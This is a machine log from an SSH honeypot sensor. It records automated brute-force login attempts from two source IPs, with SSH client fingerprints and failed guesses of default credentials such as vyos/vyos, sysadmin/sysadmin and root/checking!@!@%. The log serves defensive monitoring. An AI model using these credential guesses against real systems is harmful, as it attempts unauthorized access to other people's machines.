{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39620,"dst_ip":"10.17.0.5","dst_port":22,"session":"052ff94849a7","protocol":"ssh","message":"New connection: 103.77.175.15:39620 (10.17.0.5:22) [session: 052ff94849a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:23.561658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:23.568009Z","src_ip":"103.77.175.15","session":"052ff94849a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:23.818441Z","src_ip":"103.77.175.15","session":"052ff94849a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:24.571490Z","src_ip":"103.77.175.15","session":"052ff94849a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40744,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3b0ded86d5b","protocol":"ssh","message":"New connection: 192.109.200.237:40744 (159.203.135.109:22) [session: b3b0ded86d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:24.843390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:24.847901Z","src_ip":"192.109.200.237","session":"b3b0ded86d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:24.930083Z","src_ip":"192.109.200.237","session":"b3b0ded86d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:25.179709Z","src_ip":"192.109.200.237","session":"b3b0ded86d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:25.827306Z","src_ip":"103.77.175.15","session":"052ff94849a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:26.264782Z","src_ip":"192.109.200.237","session":"b3b0ded86d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec80d4b1b54b","protocol":"ssh","message":"New connection: 192.109.200.237:40758 (159.203.135.109:22) [session: ec80d4b1b54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:27.803508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:27.808085Z","src_ip":"192.109.200.237","session":"ec80d4b1b54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:27.890163Z","src_ip":"192.109.200.237","session":"ec80d4b1b54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:28.232243Z","src_ip":"192.109.200.237","session":"ec80d4b1b54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:29.317002Z","src_ip":"192.109.200.237","session":"ec80d4b1b54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38816,"dst_ip":"159.203.135.109","dst_port":22,"session":"0372f4879406","protocol":"ssh","message":"New connection: 192.109.200.237:38816 (159.203.135.109:22) [session: 0372f4879406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:30.919584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:30.925013Z","src_ip":"192.109.200.237","session":"0372f4879406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:31.007458Z","src_ip":"192.109.200.237","session":"0372f4879406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:31.253200Z","src_ip":"192.109.200.237","session":"0372f4879406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:32.337840Z","src_ip":"192.109.200.237","session":"0372f4879406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a699d77683a","protocol":"ssh","message":"New connection: 192.109.200.237:38818 (159.203.135.109:22) [session: 8a699d77683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:33.875202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:33.879943Z","src_ip":"192.109.200.237","session":"8a699d77683a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:33.965734Z","src_ip":"192.109.200.237","session":"8a699d77683a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:34.232411Z","src_ip":"192.109.200.237","session":"8a699d77683a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:35.316676Z","src_ip":"192.109.200.237","session":"8a699d77683a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38832,"dst_ip":"159.203.135.109","dst_port":22,"session":"f863d5252fef","protocol":"ssh","message":"New connection: 192.109.200.237:38832 (159.203.135.109:22) [session: f863d5252fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:36.760013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:36.824097Z","src_ip":"192.109.200.237","session":"f863d5252fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:36.902089Z","src_ip":"192.109.200.237","session":"f863d5252fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:37.168021Z","src_ip":"192.109.200.237","session":"f863d5252fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:38.252425Z","src_ip":"192.109.200.237","session":"f863d5252fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38838,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a504d94ead","protocol":"ssh","message":"New connection: 192.109.200.237:38838 (159.203.135.109:22) [session: 49a504d94ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:39.812651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:39.817291Z","src_ip":"192.109.200.237","session":"49a504d94ead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:39.901725Z","src_ip":"192.109.200.237","session":"49a504d94ead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:40.146316Z","src_ip":"192.109.200.237","session":"49a504d94ead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:41.231150Z","src_ip":"192.109.200.237","session":"49a504d94ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58800,"dst_ip":"159.203.135.109","dst_port":22,"session":"90149ccec281","protocol":"ssh","message":"New connection: 192.109.200.237:58800 (159.203.135.109:22) [session: 90149ccec281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:42.752343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:42.757572Z","src_ip":"192.109.200.237","session":"90149ccec281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:42.840186Z","src_ip":"192.109.200.237","session":"90149ccec281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:43.087908Z","src_ip":"192.109.200.237","session":"90149ccec281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:44.173176Z","src_ip":"192.109.200.237","session":"90149ccec281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.63392424583435,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:44.425424Z","src_ip":"192.119.13.58","session":"efab2f962033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58804,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d121877b48f","protocol":"ssh","message":"New connection: 192.109.200.237:58804 (159.203.135.109:22) [session: 9d121877b48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:45.837211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:45.841747Z","src_ip":"192.109.200.237","session":"9d121877b48f","protocol":"ssh"}
